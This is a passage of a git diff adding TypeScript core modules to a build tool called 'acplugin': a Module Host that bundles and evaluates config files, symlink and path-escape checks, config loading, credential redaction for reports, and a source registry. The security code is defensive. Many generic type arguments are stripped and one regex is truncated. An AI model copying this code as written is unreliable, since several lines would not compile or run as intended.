+= 1) { + if (!Object.prototype.hasOwnProperty.call(value, index)) + throw new TypeError(`${context.path} contains a sparse array.`); + } + if (Object.keys(fields).some(field => field !== 'length' && !/^(?:0|[1-9][0-9]*)$/u.test(field))) + throw new TypeError(`${context.path} arrays must not contain custom fields.`); + return Object.freeze(value.map((item, index) => snapshotValue(item, { ...context, path: `${context.path}[${index}]` }))); + } + /** class/Date/Map/Set 和自定义 prototype 全部拒绝。 */ + const prototype = Object.getPrototypeOf(value); + if (prototype !== Object.prototype && prototype !== null) + throw new TypeError(`${context.path} must contain only plain objects.`); + if (Object.getOwnPropertySymbols(value).length > 0) + throw new TypeError(`${context.path} must not contain Symbol fields.`); + /** data descriptor 检查避免执行 getter。 */ + const fields = Object.getOwnPropertyDescriptors(value); + /** snapshot 容器重新创建以断开调用方后续 mutation。 */ + const result: Record = {}; + for (const field of Object.keys(fields).sort()) { + /** 每个字段只读取已确认的数据描述符。 */ + const descriptor = fields[field]!; + if (!('value' in descriptor)) + throw new TypeError(`${context.path}.${field} must be a data property.`); + Object.defineProperty(result, field, { + value: snapshotValue(descriptor.value, { ...context, path: `${context.path}.${field}` }), + enumerable: true, + configurable: false, + writable: false, + }); + } + return Object.freeze(result); + } finally { + context.ancestors.delete(value); + } +} + +/** + * 建立 discovered/validated/Built State 的唯一数据边界。 + * + * @param value Extension 返回的未知值。 + * @param options 当前 Extension owner、阶段和 Registry。 + * @returns 与普通调用方容器断开、ref identity 保留的不可变 State。 + */ +export function snapshotExtensionState( + value: T, + options: { + readonly owner: string; + readonly phase: ExtensionStatePhase; + readonly sources: SourceRegistry; + readonly assets: AssetRegistry; + }, +): Readonly { + return snapshotValue(value, { + ...options, + ancestors: new Set(), + path: `Extension ${options.phase} state`, + }) as Readonly; +} diff --git a/packages/core/src/kernel/module-host.ts b/packages/core/src/kernel/module-host.ts new file mode 100644 index 0000000..d71b29e --- /dev/null +++ b/packages/core/src/kernel/module-host.ts @@ -0,0 +1,315 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { pathToFileURL } from 'node:url'; +import type { ModuleService, SourceFileRef } from '../kernel-types.js'; +import { safeRelativePath, validatePhysicalEntry } from './path-policy.js'; +import { SourceRegistry } from './source-registry.js'; +import { WatchRegistry, type WatchObservation } from './watch-registry.js'; +import { WorkDirectoryRegistry } from './work-directories.js'; +import { loadManagedEngine, type EngineInputOptions, type EngineOutputOptions, type ManagedEngine } from '../compiler/engine-loader.js'; +import { packageScope, type ManagedPackageScope } from '../compiler/managed-boundary.js'; +import { normalizeNodeBuiltin, portableNodePolicyPlugin } from '../compiler/portable-policy.js'; + +/** Module Host operation 使用的稳定 ID。 */ +const MODULE_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** 路径语义之外的 bare/package-import specifier。 */ +function isPackageSpecifier(source: string): boolean { + return source.startsWith('#') || (!source.startsWith('.') + && !source.startsWith('/') + && !source.startsWith('file:') + && !source.startsWith('\0')); +} + +/** Core Module Host 使用的 owner-scoped resolver 状态。 */ +interface ModuleResolutionState { + readonly projectRoot: string; + readonly sourceRoot: string; + readonly packages: Map; + readonly packageEntries: Map; + readonly resolutionManifests: Set; +} + +/** + * 查找 package imports 解析所依赖的最近 package.json。 + * + * @param state 当前 Module operation 边界。 + * @param importer 发起 `#` import 的模块。 + */ +async function observeNearestManifest(state: ModuleResolutionState, importer: string | undefined): Promise { + if (importer === undefined) + return; + /** query 不参与物理祖先查找。 */ + let directory = path.dirname(importer.replace(/\?.*$/u, '')); + while (true) { + if (!path.isAbsolute(directory) || path.relative(state.projectRoot, directory).startsWith(`..${path.sep}`)) + return; + /** `#imports` 的语义由最近 package scope manifest 决定。 */ + const manifest = path.join(directory, 'package.json'); + /** 当前候选 manifest 的普通文件状态。 */ + const stat = await fs.lstat(manifest).catch(() => undefined); + if (stat?.isFile() === true && !stat.isSymbolicLink()) { + state.resolutionManifests.add(await fs.realpath(manifest)); + return; + } + if (path.resolve(directory) === path.resolve(state.projectRoot)) + return; + /** 下一层 package scope 候选目录。 */ + const parent = path.dirname(directory); + if (parent === directory) + return; + directory = parent; + } +} + +/** + * 建立本地源码闭包与外部 package identity 的 Module Host resolver。 + * + * @param state 当前 load operation 的授权 source/package 集。 + * @returns 只 externalize 已证明 package entry 的 Core Plugin。 + */ +function moduleResolutionPlugin(state: ModuleResolutionState): import('../kernel-types.js').ManagedRolldownPlugin { + return Object.freeze({ + name: 'acplugin-module-resolution', + resolveId: { + order: 'pre' as const, + /** 先让同一 Rolldown resolver 得到精确 exports/imports 结果,再建立边界。 */ + async handler(source, importer, options) { + /** Node builtin 始终使用唯一 node: external identity。 */ + const builtin = normalizeNodeBuiltin(source); + if (builtin !== undefined) + return { id: builtin, external: true }; + /** NUL virtual helpers 由其他 Core Plugin 处理。 */ + if (source.startsWith('\0')) + return null; + if (source.startsWith('#')) + await observeNearestManifest(state, importer); + /** skipSelf 保留 Rolldown Node-compatible exports/imports 解析。 */ + const resolved = await this.resolve(source, importer, { ...options, skipSelf: true }); + if (resolved === null) + throw new Error('Module Host could not resolve an imported module.'); + if (resolved.external) + throw new Error('Module Host received an unverified external import.'); + /** resolver 结果必须是普通物理文件。 */ + const file = resolved.id.replace(/\?.*$/u, ''); + if (!path.isAbsolute(file)) + throw new Error('Module Host resolved an unsafe non-file module.'); + /** resolver 返回模块的真实物理路径。 */ + const real = await fs.realpath(file); + /** 裸 package import 即使物理上位于 projectRoot/node_modules,也必须保持 package identity。 */ + if (isPackageSpecifier(source) && !source.startsWith('#')) { + /** dependency 保存真实 Package root、name 与 version identity。 */ + const dependency = await packageScope(real); + if (dependency === undefined) + throw new Error('Module Host package import has no valid package identity.'); + state.packages.set(dependency.root, dependency); + state.packageEntries.set(real, dependency); + return { id: pathToFileURL(real).href, external: true }; + } + /** local relative/# graph 必须留在入口被授予的 Source root。 */ + const relative = path.relative(state.sourceRoot, real); + if (relative === '' || (!path.isAbsolute(relative) && relative !== '..' && !relative.startsWith(`..${path.sep}`))) { + /** 每个实际读取的模块逐项拒绝 symlink/special/escape,不扫描无关工程目录。 */ + await validatePhysicalEntry(state.sourceRoot, file, 'file'); + return { ...resolved, id: real }; + } + /** `#imports` 只有显式解析到外部 package 时才可建立 package capability。 */ + if (!source.startsWith('#')) + throw new Error('Module Host local import escaped its authorized source root.'); + /** bare/# 解析到的最近 package identity。 */ + const dependency = await packageScope(real); + if (dependency === undefined) + throw new Error('Module Host package import has no valid package identity.'); + state.packages.set(dependency.root, dependency); + state.packageEntries.set(real, dependency); + return { id: pathToFileURL(real).href, external: true }; + }, + }, + }); +} + +/** Module Host 初始化依赖。 */ +export interface ModuleHostOptions { + readonly projectRoot: string; + readonly sources: SourceRegistry; + readonly workDirectories: WorkDirectoryRegistry; + readonly watch: WatchRegistry; +} + +/** Core 唯一、按 owner 签发可信 TS/JS loader 的 Module Host。 */ +export class ModuleHost { + /** 工程解析根。 */ + readonly #projectRoot: string; + /** 系统祖先 symlink 解析后的工程物理根。 */ + readonly #projectRealRoot: Promise; + /** SourceRef 运行时授权注册表。 */ + readonly #sources: SourceRegistry; + /** 生成并执行临时 ESM 的 owner workDir。 */ + readonly #workDirectories: WorkDirectoryRegistry; + /** BuildSession 唯一 Watch Registry。 */ + readonly #watch: WatchRegistry; + /** 与 Compiler Host 相同的唯一 Rolldown driver。 */ + readonly #engine: Promise; + /** owner 内已消费的 module operation ID。 */ + readonly #operations = new Map>(); + + /** + * 创建 BuildSession 唯一 Module Host。 + * + * @param options 当前 Session registries。 + */ + constructor(options: ModuleHostOptions) { + this.#projectRoot = path.resolve(options.projectRoot); + this.#projectRealRoot = fs.realpath(this.#projectRoot); + this.#sources = options.sources; + this.#workDirectories = options.workDirectories; + this.#watch = options.watch; + this.#engine = loadManagedEngine(); + } + + /** + * 为 Framework/Integration owner 签发闭包绑定 ModuleService。 + * + * @param owner 当前 Kernel owner。 + * @returns 不接受调用方自报 owner/path 的 loader。 + */ + service(owner: string): ModuleService { + if (typeof owner !== 'string' || owner.length === 0) + throw new Error('Module owner must be a non-empty string.'); + return Object.freeze({ + /** request 只能包含 stable ID 和 SourceFileRef。 */ + loadDefault: (request: { readonly id: string; readonly entry: SourceFileRef }) => this.#loadDefault(owner, request), + }); + } + + /** + * Bundle、fresh evaluate 并返回一个可信模块的 default export。 + * + * @param owner 当前 service owner。 + * @param request stable ID 与入口 ref。 + * @returns 原始 default export;schema normalization 由消费者负责。 + */ + async #loadDefault( + owner: string, + request: { readonly id: string; readonly entry: SourceFileRef }, + ): Promise { + if (typeof request !== 'object' || request === null + || Object.keys(request).some(field => field !== 'id' && field !== 'entry')) { + throw new Error('Module load request must contain only id and entry.'); + } + if (!MODULE_ID.test(request.id)) + throw new Error('Module load id must use lowercase kebab-case.'); + /** operation ID 在执行前消费,防止覆盖同一 work output。 */ + const operations = this.#operations.get(owner) ?? new Set(); + if (operations.has(request.id)) + throw new Error(`Module load id "${request.id}" was already used by this owner.`); + operations.add(request.id); + this.#operations.set(owner, operations); + /** 入口指纹必须在 Rolldown 读取前复核。 */ + const record = await this.#sources.validatedFile(owner, request.entry); + /** Rolldown 入口真实物理路径。 */ + const entry = await fs.realpath(record.physicalPath); + /** local graph 不能逃逸的授权 source root。 */ + const sourceRoot = await fs.realpath(record.root); + /** 当前 operation 经 bare/# import 证明的 package 集。 */ + const packages = new Map(); + /** externalized package entry 到 package identity 的精确证明。 */ + const packageEntries = new Map(); + /** `package.json#imports` 解析所读取的最近 manifest。 */ + const resolutionManifests = new Set(); + /** 当前 operation 完整的 resolver observation state。 */ + const resolutionState: ModuleResolutionState = { + projectRoot: await this.#projectRealRoot, + sourceRoot, + packages, + packageEntries, + resolutionManifests, + }; + /** entry 最近 package scope 影响 imports/type 语义,始终进入 watch。 */ + await observeNearestManifest(resolutionState, entry); + /** 与 Compiler Host 完全相同的 Rolldown driver。 */ + const engine = await this.#engine; + /** 固定 Module Host 入口/tsconfig/log/plugin 边界。 */ + const inputOptions: EngineInputOptions = { + input: { module: entry }, + cwd: this.#projectRoot, + platform: 'node', + tsconfig: false, + logLevel: 'silent', + watch: false, + /** builtin 由 resolver 规范成 node: external,其余 import 必须显式解析。 */ + external: id => normalizeNodeBuiltin(id) !== undefined, + plugins: [ + moduleResolutionPlugin(resolutionState), + portableNodePolicyPlugin(engine), + ], + }; + /** create 成功后任何 generate/import 错误都必须 close bundle。 */ + let bundle: Awaited> | undefined; + try { + bundle = await engine.create(inputOptions); + /** Module Host 的固定单 ESM output options。 */ + const outputOptions: EngineOutputOptions = { + format: 'es', + entryFileNames: 'module.mjs', + codeSplitting: false, + sourcemap: false, + /** 消除 Rolldown 1.2.2 绝对 module region,不压缩表达式或名称。 */ + minify: { compress: false, mangle: false }, + }; + /** generate-only 的单文件内存输出。 */ + const output = await bundle.generate(outputOptions); + if (output.output.length !== 1 || output.output[0]?.type !== 'chunk' + || output.output[0].fileName !== 'module.mjs' || !output.output[0].isEntry) + throw new Error('Module Host must produce exactly one ESM entry chunk.'); + /** 输出只写当前 owner workDir,不使用 dist 或系统任意临时路径。 */ + const workDirectory = await this.#workDirectories.directory(owner); + /** 当前 load operation 的固定 workDir-relative 文件。 */ + const relative = safeRelativePath(`modules/${request.id}/module.mjs`); + /** 只在 Host 内部可见的执行物理路径。 */ + const physical = this.#workDirectories.resolve(owner, workDirectory, relative); + await fs.mkdir(path.dirname(physical), { recursive: true, mode: 0o700 }); + await fs.writeFile(physical, output.output[0].code, { flag: 'wx', mode: 0o600 }); + /** local graph、package entries/manifests 形成一个原子 watch operation。 */ + const observations = new Map(); + for (const file of await bundle.watchFiles) { + /** 当前 Rolldown module/watch input 的真实路径。 */ + const real = await fs.realpath(file); + /** 外部 watch input 所属的 package identity。 */ + const dependency = [...packages.values()].find(candidate => real === candidate.root || real.startsWith(`${candidate.root}${path.sep}`)); + observations.set(real, Object.freeze({ + path: real, + type: 'file' as const, + ...(dependency === undefined ? {} : { identity: `package:${dependency.name}@${dependency.version}/${path.relative(dependency.root, real).split(path.sep).join('/')}` }), + })); + } + for (const dependency of packages.values()) { + /** package exports/imports 身份所依赖的 manifest。 */ + const manifest = path.join(dependency.root, 'package.json'); + observations.set(manifest, Object.freeze({ + path: manifest, + type: 'file' as const, + identity: `package:${dependency.name}@${dependency.version}/package.json`, + })); + } + for (const [file, dependency] of packageEntries) { + /** external module 不一定进入 Rolldown watchFiles,必须显式观察真实 entry。 */ + observations.set(file, Object.freeze({ + path: file, + type: 'file' as const, + identity: `package:${dependency.name}@${dependency.version}/${path.relative(dependency.root, file).split(path.sep).join('/')}`, + })); + } + for (const manifest of resolutionManifests) + observations.set(manifest, Object.freeze({ path: manifest, type: 'file' as const })); + await this.#watch.replace(owner, `module/${request.id}`, [...observations.values()]); + /** query 只用于本 Session fresh evaluation;不进入报告或输出。 */ + const namespace = await import(`${pathToFileURL(physical).href}?acplugin=${encodeURIComponent(request.id)}`) as Record; + if (!Object.prototype.hasOwnProperty.call(namespace, 'default')) + throw new Error('Module Host entry must provide a default export.'); + return namespace.default as T; + } finally { + await bundle?.close(); + } + } +} diff --git a/packages/core/src/kernel/path-policy.ts b/packages/core/src/kernel/path-policy.ts new file mode 100644 index 0000000..04134b1 --- /dev/null +++ b/packages/core/src/kernel/path-policy.ts @@ -0,0 +1,156 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; + +/** 被授权路径的已验证普通文件或目录类型。 */ +export type SafeEntryType = 'file' | 'directory'; + +/** + * 按 Unicode code point 比较文本,不依赖 locale 或 ICU 排序规则。 + * + * @param left 左侧文本。 + * @param right 右侧文本。 + * @returns 与 Array.sort 约定一致的比较结果。 + */ +export function compareCodePoints(left: string, right: string): number { + /** 两侧文本的 Unicode code point 序列。 */ + const leftPoints = [...left].map(character => character.codePointAt(0)!); + /** 右侧文本的 Unicode code point 序列。 */ + const rightPoints = [...right].map(character => character.codePointAt(0)!); + /** 两个序列共同拥有的可比较长度。 */ + const sharedLength = Math.min(leftPoints.length, rightPoints.length); + for (let index = 0; index < sharedLength; index += 1) { + if (leftPoints[index] !== rightPoints[index]) + return leftPoints[index]! < rightPoints[index]! ? -1 : 1; + } + if (leftPoints.length === rightPoints.length) + return 0; + return leftPoints.length < rightPoints.length ? -1 : 1; +} + +/** + * 验证 Integration 提交的 project-relative POSIX 路径。 + * + * @param value 未知路径文本。 + * @param options 是否允许用空字符串表达当前目录。 + * @returns 未经静默折叠或 Unicode 改写的原始安全路径。 + */ +export function safeRelativePath(value: unknown, options: { readonly allowEmpty?: boolean } = {}): string { + if (typeof value !== 'string' || (value.length === 0 && options.allowEmpty !== true)) + throw new Error('Relative path must be a non-empty string.'); + if (value.length === 0) + return value; + if (value.includes('\\')) + throw new Error('Relative path must use POSIX separators.'); + if (value.includes('\0')) + throw new Error('Relative path must not contain NUL bytes.'); + if (path.posix.isAbsolute(value)) + throw new Error('Relative path must not be absolute.'); + /** 原始 segment 逐项拒绝,避免 normalize 静默接受模糊输入。 */ + const segments = value.split('/'); + if (segments.some(segment => segment === '' || segment === '.' || segment === '..')) + throw new Error('Relative path must not contain empty, dot, or parent-directory segments.'); + return value; +} + +/** + * 判断候选路径是否位于指定根内或与根相同。 + * + * @param root 已规范化的绝对根目录。 + * @param candidate 待验证绝对路径。 + * @returns 候选未通过父目录或盘符逃逸时返回 true。 + */ +export function isInsidePath(root: string, candidate: string): boolean { + /** path.relative 能正确区分具有相同文本前缀的兄弟目录。 */ + const relative = path.relative(root, candidate); + return relative === '' || (!path.isAbsolute(relative) && relative !== '..' && !relative.startsWith(`..${path.sep}`)); +} + +/** + * 生成跨大小写和 Unicode NFC 文件系统的路径冲突键。 + * + * @param value 安全 project-relative POSIX 路径。 + * @returns 逐 segment NFC 与小写折叠后的比较键。 + */ +export function sourceCollisionKey(value: string): string { + return value.split('/').map(segment => segment.normalize('NFC').toLowerCase()).join('/'); +} + +/** Author source 树中 exact/case/NFC 路径的内部唯一性索引。 */ +export class SourcePathCollisionRegistry { + /** 折叠后的路径键到首次来源的映射。 */ + readonly #entries = new Map(); + + /** + * 登记一个安全报告路径。 + * + * @param reportPath 工程相对 POSIX 路径。 + * @param identity 对应物理来源的内部唯一身份。 + */ + reserve(reportPath: string, identity: string): void { + /** 大小写与 NFC 折叠后的键用于模拟最严格目标文件系统。 */ + const key = sourceCollisionKey(reportPath); + /** 同一物理来源重复签发合法,两个不同来源折叠到同一键则失败。 */ + const existing = this.#entries.get(key); + if (existing !== undefined && existing.identity !== identity) + throw new Error(`Author source path collision between "${existing.path}" and "${reportPath}".`); + this.#entries.set(key, Object.freeze({ path: reportPath, identity })); + } +} + +/** + * 验证根目录后代的每个路径层级均不是符号链接,并检查最终类型。 + * + * @param physicalRoot 已解析且可信的物理根。 + * @param candidate 根内候选绝对路径。 + * @param type 期望的最终类型。 + * @returns 最终路径的 lstat 结果。 + */ +export async function validatePhysicalEntry( + physicalRoot: string, + candidate: string, + type: SafeEntryType, +): Promise { + if (!path.isAbsolute(physicalRoot) || !path.isAbsolute(candidate) || !isInsidePath(physicalRoot, candidate)) + throw new Error('Authorized source path escapes its physical root.'); + /** 根后每个后代 segment 都必须逐级 lstat。 */ + const segments = path.relative(physicalRoot, candidate).split(path.sep).filter(Boolean); + /** 当前待 lstat 的逐级物理路径。 */ + let current = physicalRoot; + for (const segment of segments) { + current = path.join(current, segment); + /** lstat 不跟随 symlink,确保逃逸在 realpath 前被拒绝。 */ + const stat = await fs.lstat(current); + if (stat.isSymbolicLink()) + throw new Error('Author source trees must not contain symbolic links.'); + if (current !== candidate && !stat.isDirectory()) + throw new Error('Author source path contains a non-directory ancestor.'); + } + /** 根本身或最终后代的准确文件类型。 */ + const finalStat = segments.length === 0 ? await fs.lstat(physicalRoot) : await fs.lstat(candidate); + if (finalStat.isSymbolicLink()) + throw new Error('Author source trees must not contain symbolic links.'); + if ((type === 'file' && !finalStat.isFile()) || (type === 'directory' && !finalStat.isDirectory())) + throw new Error(`Author source must be a regular ${type}.`); + /** realpath 在 lstat 后复核最终解析位置仍位于根内。 */ + /** 宿主临时根的祖先可能自身是系统 symlink,因此比较双方 realpath。 */ + const realRoot = await fs.realpath(physicalRoot); + /** 候选最终解析位置必须仍位于同一真实根内。 */ + const real = await fs.realpath(candidate); + if (!isInsidePath(realRoot, real)) + throw new Error('Author source realpath escapes its physical root.'); + return finalStat; +} + +/** + * 把工程内绝对路径转换为安全、POSIX 且不含绝对前缀的报告路径。 + * + * @param projectRoot 工程绝对根。 + * @param candidate 工程内绝对路径。 + * @returns project-relative POSIX 路径。 + */ +export function projectReportPath(projectRoot: string, candidate: string): string { + if (!isInsidePath(projectRoot, candidate)) + throw new Error('Source path is outside the project root.'); + /** path.relative 输出转换为平台无关的 POSIX 分隔符。 */ + return path.relative(projectRoot, candidate).split(path.sep).join('/'); +} diff --git a/packages/core/src/kernel/project.ts b/packages/core/src/kernel/project.ts new file mode 100644 index 0000000..523cbd1 --- /dev/null +++ b/packages/core/src/kernel/project.ts @@ -0,0 +1,216 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { + BuildReport, + ConfigEnvironment, + CreateProjectOptions, + DevSession, + Diagnostic, + Project, + ProjectDevOptions, + ProjectRunOptions, + RunProjectOptions, + UserConfig, + UserConfigExport, +} from '../kernel-types.js'; +import { + createKernelBuildEnvironment, + disposeKernelBuildEnvironment, + normalizeProjectRunOptions, + runKernelBuildSession, +} from './build-session.js'; +import { createDevSession } from './dev-session.js'; +import { resolveKernelConfig } from './config-resolver.js'; +import { isInsidePath, safeRelativePath } from './path-policy.js'; + +/** 配置定位、模块执行或 schema/brand 失败的唯一公开异常。 */ +export class ProjectConfigError extends Error { + /** 可供 CLI/API 消费的稳定配置诊断。 */ + readonly diagnostics: readonly Diagnostic[]; + + /** @param message 安全摘要。 @param diagnostics 稳定配置诊断。 @param cause 内部原始原因。 */ + constructor(message: string, diagnostics: readonly Diagnostic[], cause?: unknown) { + super(message, cause === undefined ? undefined : { cause }); + this.name = 'ProjectConfigError'; + this.diagnostics = Object.freeze([...diagnostics]); + } +} + +/** Project 内部固定且不允许 run() 改写的工程身份。 */ +interface ProjectIdentity { + readonly projectRoot: string; + readonly configRelative: string; + readonly configFile: string; +} + +/** config error 的稳定诊断构造器。 */ +function configDiagnostic(code: string, message: string, location?: string): Diagnostic { + return Object.freeze({ + code, + severity: 'error', + message, + phase: 'config', + ...(location === undefined ? {} : { location: Object.freeze({ path: location }) }), + }); +} + +/** 同步规范化 Project identity,不访问配置内容。 */ +function projectIdentity(options: CreateProjectOptions = {}): ProjectIdentity { + if (typeof options !== 'object' || options === null || Array.isArray(options) + || Object.keys(options).some(field => field !== 'cwd' && field !== 'configFile')) { + throw new ProjectConfigError('Project options are invalid.', [ + configDiagnostic('PROJECT_OPTIONS_INVALID', 'Project options may contain only cwd and configFile.'), + ]); + } + if (options.cwd !== undefined && typeof options.cwd !== 'string') { + throw new ProjectConfigError('Project cwd is invalid.', [ + configDiagnostic('PROJECT_CWD_INVALID', 'Project cwd must be a path string.'), + ]); + } + /** cwd 是 Project 唯一根身份;配置位置不会改变它。 */ + const projectRoot = path.resolve(options.cwd ?? process.cwd()); + /** 显式 configFile 使用与输出一致的严格 project-relative POSIX 语法。 */ + let configRelative = 'acplugin.config.ts'; + if (options.configFile !== undefined) { + try { + if (typeof options.configFile !== 'string') + throw new TypeError('invalid'); + configRelative = safeRelativePath(options.configFile); + } catch { + throw new ProjectConfigError('Project configFile is invalid.', [ + configDiagnostic('CONFIG_FILE_PATH_INVALID', 'configFile must be a project-relative POSIX path.'), + ]); + } + } + if (!configRelative.endsWith('.ts')) { + throw new ProjectConfigError('Project configFile is invalid.', [ + configDiagnostic('CONFIG_FILE_EXTENSION_INVALID', 'configFile must reference a TypeScript file.', configRelative), + ]); + } + /** safeRelativePath 与逐 segment join 共同避免宿主路径 normalize 接受歧义输入。 */ + const configFile = path.join(projectRoot, ...configRelative.split('/')); + if (!isInsidePath(projectRoot, configFile)) + throw new ProjectConfigError('Project configFile escapes the project root.', [ + configDiagnostic('CONFIG_FILE_OUTSIDE_PROJECT', 'configFile must stay inside the project root.'), + ]); + return Object.freeze({ projectRoot, configRelative, configFile }); +} + +/** 验证工程根和配置入口的物理普通文件边界。 */ +async function validateConfigEntry(identity: ProjectIdentity): Promise { + /** root 必须是非 symlink 的真实目录。 */ + const root = await fs.lstat(identity.projectRoot).catch(() => undefined); + if (root === undefined || !root.isDirectory() || root.isSymbolicLink()) { + throw new ProjectConfigError('Project cwd is not a usable directory.', [ + configDiagnostic('PROJECT_CWD_INVALID', 'Project cwd must be a regular directory.'), + ]); + } + /** entry 必须是 Project identity 内的非 symlink 普通文件。 */ + const entry = await fs.lstat(identity.configFile).catch(() => undefined); + if (entry === undefined || !entry.isFile() || entry.isSymbolicLink()) { + throw new ProjectConfigError(`Cannot load ${identity.configRelative}.`, [ + configDiagnostic('CONFIG_LOAD_FAILED', 'Configuration must be a regular non-symlink file.', identity.configRelative), + ]); + } +} + +/** 在当前 BuildSession 的唯一 Module Host 内 fresh evaluate 配置。 */ +async function loadConfig( + identity: ProjectIdentity, + environment: Awaited>, + command: ConfigEnvironment['command'], + mode: ConfigEnvironment['mode'], +): Promise { + await validateConfigEntry(identity); + /** config owner 只获得 Project root 下当前显式入口的 Source capability。 */ + const root = await environment.sources.issueRoot('framework:config', identity.projectRoot); + /** entry ref 与当前 BuildSession owner/session identity 绑定。 */ + const entry = await environment.sources.service('framework:config').file(root, identity.configRelative); + /** exported 在 Module Host fresh evaluation 后才进入 config data boundary。 */ + let exported: UserConfigExport; + try { + exported = await environment.modules.service('framework:config').loadDefault({ + id: 'project-config', + entry, + }); + } catch (error) { + throw new ProjectConfigError(`Cannot evaluate ${identity.configRelative}.`, [ + configDiagnostic('CONFIG_EVALUATION_FAILED', 'Configuration module evaluation failed.', identity.configRelative), + ], error); + } + /** 函数式配置只观察冻结 command/mode,不接触路径或环境值。 */ + let value: UserConfig; + try { + value = (typeof exported === 'function' + ? await exported(Object.freeze({ command, mode })) + : exported) as UserConfig; + } catch (error) { + throw new ProjectConfigError(`Configuration function in ${identity.configRelative} failed.`, [ + configDiagnostic('CONFIG_FUNCTION_FAILED', 'Configuration function failed.', identity.configRelative), + ], error); + } + /** Core resolver 负责完整 plain-data/brand/path/schema 边界。 */ + const resolved = resolveKernelConfig(value, { + projectRoot: identity.projectRoot, + configFile: identity.configFile, + command, + mode, + }); + if (resolved.config === undefined) { + throw new ProjectConfigError('Project configuration is invalid.', resolved.diagnostics); + } + return resolved.config; +} + +/** 使用固定 Project identity 创建只委托唯一 BuildSession 的程序化对象。 */ +export function createKernelProject(options: CreateProjectOptions, frameworkVersion: string): Project { + /** identity 在 Project 创建时固定,后续 run/dev 不可切换。 */ + const identity = projectIdentity(options); + return Object.freeze({ + /** 每次 run 创建全新 capability/Host/Integration Session。 */ + async run(runOptions: ProjectRunOptions = {}): Promise { + /** normalized 固定 command/mode/selection/commit 语义。 */ + const normalized = normalizeProjectRunOptions(runOptions); + /** 每轮 run 使用独立 environment,支持同一 Project 并发调用。 */ + const environment = await createKernelBuildEnvironment(identity.projectRoot); + try { + /** config 必须在当前 environment 的唯一 Module Host 中执行。 */ + const config = await loadConfig(identity, environment, normalized.command, normalized.mode); + /** result 来自唯一 Kernel BuildSession,不经过 facade 二次转换。 */ + const result = await runKernelBuildSession({ + config, + frameworkVersion, + ...(normalized.selection === undefined ? {} : { selection: normalized.selection }), + commit: normalized.commit, + environment, + }); + return result.report; + } finally { + await disposeKernelBuildEnvironment(environment); + } + }, + /** DevSession watcher ownership与 one-shot BuildSession 共用同一 Core coordinator。 */ + async dev(devOptions: ProjectDevOptions = {}): Promise { + return createDevSession({ + projectRoot: identity.projectRoot, + configFile: identity.configFile, + frameworkVersion, + options: devOptions, + /** 每轮 DevSession 都在自己的受管环境执行配置。 */ + loadConfig: async roundEnvironment => loadConfig(identity, roundEnvironment, 'dev', devOptions.mode ?? 'development'), + /** 首轮配置失败保留可恢复的稳定诊断。 */ + initialConfigError: error => error instanceof ProjectConfigError ? error.diagnostics : [], + }); + }, + }); +} + +/** runProject 是 createProject().run() 的无逻辑 convenience。 */ +export async function runKernelProject(options: RunProjectOptions, frameworkVersion: string): Promise { + /** Project identity options 与单轮 run options 只在此拆分一次。 */ + const { cwd, configFile, ...runOptions } = options; + return createKernelProject({ + ...(cwd === undefined ? {} : { cwd }), + ...(configFile === undefined ? {} : { configFile }), + }, frameworkVersion).run(runOptions); +} diff --git a/packages/core/src/kernel/report-safety.ts b/packages/core/src/kernel/report-safety.ts new file mode 100644 index 0000000..c031ce4 --- /dev/null +++ b/packages/core/src/kernel/report-safety.ts @@ -0,0 +1,23 @@ +/** 凭据字段和值的保守单行匹配。 */ +const CREDENTIAL = /\b(?:Bearer|Basic)\s+[^\s,;]+|\b(?:token|secret|password|api[_-]?key)\s*[=:]\s*[^\s,;]+/giu; + +/** acplugin 受管临时目录的稳定匹配。 */ +const TEMPORARY_PATH = /\.acplugin-(?:work|stage|backup|transaction|lock)-[^\s/\\]+/giu; + +/** POSIX/Win32 绝对路径匹配,不破坏普通 package-relative path。 */ +const ABSOLUTE_PATH = /(?') + .replace(TEMPORARY_PATH, '') + .replace(ABSOLUTE_PATH, '') + .replace(/[\0\r\n\t]+/gu, ' ') + .trim(); +} diff --git a/packages/core/src/kernel/source-registry.ts b/packages/core/src/kernel/source-registry.ts new file mode 100644 index 0000000..0e84031 --- /dev/null +++ b/packages/core/src/kernel/source-registry.ts @@ -0,0 +1,464 @@ +import { createHash } from 'node:crypto'; +import { createReadStream } from 'node:fs'; +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { + SourceDirectoryRef, + SourceEntry, + SourceFileRef, + SourceService, +} from '../kernel-types.js'; +import { BuildSessionScope } from './build-session-scope.js'; +import { + compareCodePoints, + isInsidePath, + projectReportPath, + safeRelativePath, + SourcePathCollisionRegistry, + validatePhysicalEntry, +} from './path-policy.js'; + +/** SourceRef 对应的内部对象身份授权记录。 */ +interface SourceRecord { + readonly owner: string; + readonly type: 'file' | 'directory'; + readonly root: string; + readonly physicalPath: string; + readonly reportPath: string; + readonly session: object; + readonly size?: number; + readonly sha256?: string; +} + +/** 作者源码边界使用的默认单次读取上限。 */ +const DEFAULT_SOURCE_READ_LIMIT = 16 * 1024 * 1024; + +/** 作者源码边界允许调用方请求的最大单次读取上限。 */ +const MAX_SOURCE_READ_LIMIT = 64 * 1024 * 1024; + +/** + * 流式计算来源文件的大小和 SHA-256。 + * + * @param file 已通过普通文件边界验证的绝对路径。 + * @returns 签发或重验证使用的内容指纹。 + */ +async function sourceFingerprint(file: string): Promise<{ readonly size: number; readonly sha256: string }> { + /** 增量哈希避免 SourceRef 签发时把任意大文件整体载入内存。 */ + const hash = createHash('sha256'); + /** 文件流累计读取的精确字节数。 */ + let size = 0; + await new Promise((resolve, reject) => { + /** 每次调用使用新文件流,错误不能被静默降级为部分摘要。 */ + const stream = createReadStream(file); + stream.on('data', (chunk) => { + size += typeof chunk === 'string' ? Buffer.byteLength(chunk) : chunk.length; + hash.update(chunk); + }); + stream.on('error', reject); + stream.on('end', resolve); + }); + return Object.freeze({ size, sha256: hash.digest('hex') }); +} + +/** + * 校验单次读取上限。 + * + * @param requested 调用方可选请求值。 + * @returns 位于 Core 固定上限内的正整数。 + */ +function readLimit(requested: number | undefined): number { + /** 省略时使用固定默认,显式值仍不得扩大 Core 上限。 */ + const value = requested ?? DEFAULT_SOURCE_READ_LIMIT; + if (!Number.isSafeInteger(value) || value <= 0 || value > MAX_SOURCE_READ_LIMIT) + throw new Error(`Source read limit must be an integer between 1 and 